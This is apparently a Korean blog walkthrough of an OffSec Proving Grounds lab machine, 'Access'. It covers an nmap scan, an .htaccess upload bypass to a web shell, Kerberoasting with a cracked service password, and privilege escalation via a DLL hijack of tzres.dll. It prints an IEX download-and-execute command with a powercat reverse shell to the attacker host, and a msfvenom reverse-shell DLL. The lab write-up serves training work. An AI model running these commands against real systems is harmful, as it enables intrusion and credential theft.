IP : 192.168.x.187
Nmap Enumeration
┌──(kali㉿kali)-[~/offsec/PG/Access]
└─$ sudo nmap -sC -sV -p- -T4 -O -oN tcp_nmap 192.168.140.187
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 06:43 EDT
Nmap scan report for 192.168.140.187
Host is up (0.092s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-18 10:52:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49790/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-10-18T10:53:28
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 2s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 631.13 seconds
Nmap 결과에 따라 80번 포트에 접근해 보도록 한다.
접속해 보니 이벤트를 개최해 주는 사이트가 나오는데 둘러보다 티켓을 구매하는 페이지에 파일을 업로드할 수 있는 것을 발견했다.
php로 이루어져 있어서 .php파일을 올려봤는데 확장자를 막아놓은 것을 확인할 수 있다.
여기서 php는 .htaccess를 이용해서 우회할 수 있다.. htaccess 파일은 Apache 웹 서버의 디렉토리별 설정 파일로, 파일 업로드 제한을 우회하는 데 사용될 수 있다.
다음과 같은 내용의 .htaccess 파일을 생성하여 업로드해보면:
AddType application/x-httpd-php .shell
파일이 성공적으로 업로드 됐고, 이를 통해 .shell 확장자를 가진 reverse shell을 올려서 연결해보면
shell을 획득한 것을 확인할 수 있었다. 현재 사용자를 확인해보니 'svc_apache'인 것으로 나타났는데 이를 이용해 spn 유저를 열거하려고 한다. 이를 위해 Get-SPN.ps1 스크립트를 사용했다.
여기서 MSSQL 계정을 확인했는데 이에 대한 자격 증명을 얻기 위해 티켓을 요청하고 NTLM 해시를 추출했다.
PS C:\Users\svc_apache>
PS C:\Users\svc_apache>
PS C:\Users\svc_apache> Add-Type -AssemblyName System.IdentityModel
PS C:\Users\svc_apache> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'
Id : uuid-6a76dde4-3f04-4d16-84fc-3bd2b4b4b6cc-1
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 10/18/2024 2:30:42 PM
ValidTo : 10/19/2024 12:30:42 AM
ServicePrincipalName : MSSQLSvc/DC.access.offsec
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
저장된 티켓에서 해시를 추출하기 위해 Invoke-Kerberoast.ps1을 사용했다.
하지만 해시가 추출되지 않아서 Rubeus.exe를 사용해 추출을 시도했다.
다음과 같이 hash파일에 저장이 된 것을 확인할 수 있다. 이 hash 파일을 hashcat을 사용해서 비밀번호 추출을 진행해보았다. Kerberoas TGS-REP는 13100 모듈을 사용하면 된다. 워드리스트는 rockyou.txt를 사용했다. [OSCP는 비밀번호 크랙을 진행할 때 rockyou.txt를 사용하길 추천한다]
hashcat을 통해 svc_mssql:trustno1을 얻을 수 있었다.
여기서 svc_mssql의 자격 증명을 이용해 Powershell을 얻기 위해서 invoke-runascs를 사용했다.
invoke-runascs는 Powershell 스크립트로, 주어진 계정의 자격 증명을 사용해 다른 사용자로 명령을 실행할 수 있도록 설계된 도구이다.
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
해당 스크립트가 실행되는지 확인하기 위해 현재 사용자를 출력해주는 whoami를 사용해 테스트를 진행해보았다.
여기서 사용자 access\svc_mssql이 출력되어서 Invoke-RunasCs가 실패없이 실행되는 것을 확인할 수 있다. 이에 svc_mssql 권한을 사용해 Reverse Shell로 연결시키기 위해 PowerCat을 사용하기로 했다. PowerCat은 Powershell에서 netcat과 같은 역할을 하는 스크립트이다.
https://github.com/besimorhino/powercat/blob/master/powercat.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187/powercat.ps1');powercat -c 192.168.45.187 -p 444 -e cmd"
공격자 PC에서 리스너를 열어 기다리면 svc_mssql 계정으로 쉘을 얻은 것을 확인할 수 있다.
svc_mssql의 권한을 확인해보니 SeManageVolumePrivilege를 소유하고 있음을 알 수 있다. 이 권한은 C:\에 대한 모든 권한을 얻는 권한이다. 이에 C:\Windows\System32\wbem\tzres.dll 파일을 수정해 systeminfo를 실행하면 Reverse Shell을 얻을 수 있다.
Reverse Shell를 위해 msfvenom을 통해 tzres.dll을 제작했다.
msfvenom -p winodws/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=12345 -f dll -o tzres.dll
이에 해당 tzres.dll 파일을 C:\Windows\System32\wbem\tzres.dll에 카피하고(원래 파일은 tzres_origin.dll으로 옮겼다.) systeminfo를 실행해보면[실행하기전 nc를 이용해 12345 포트를 열어둔다.]
nt authority\network으로 Shell을 얻은 것을 확인할 수 있다.
[정리]
Initial Access
- .htaccess 파일을 업로드하여 PHP 확장자가 아닌 다른 확장자를 사용해도 PHP 파일로 동작하도록 설정. 이를 통해 웹 셸 업로드 및 초기 접근 권한 확보.
Privilege Escalation :
- svc_apache 권한을 이용해 서비스 계정(SPN)을 대상으로 Kerberos 티켓을 요청.
- 요청한 티켓의 해시를 추출하여 hashcat을 사용해 크랙.
- 이를 통해 svc_mssql 계정의 자격 증명 확보.
'Writeup' 카테고리의 다른 글
HTB Certified Machine - WriteUp (1) | 2024.12.17 |
---|---|
HTB - Cicada[Active Directory] (0) | 2024.12.14 |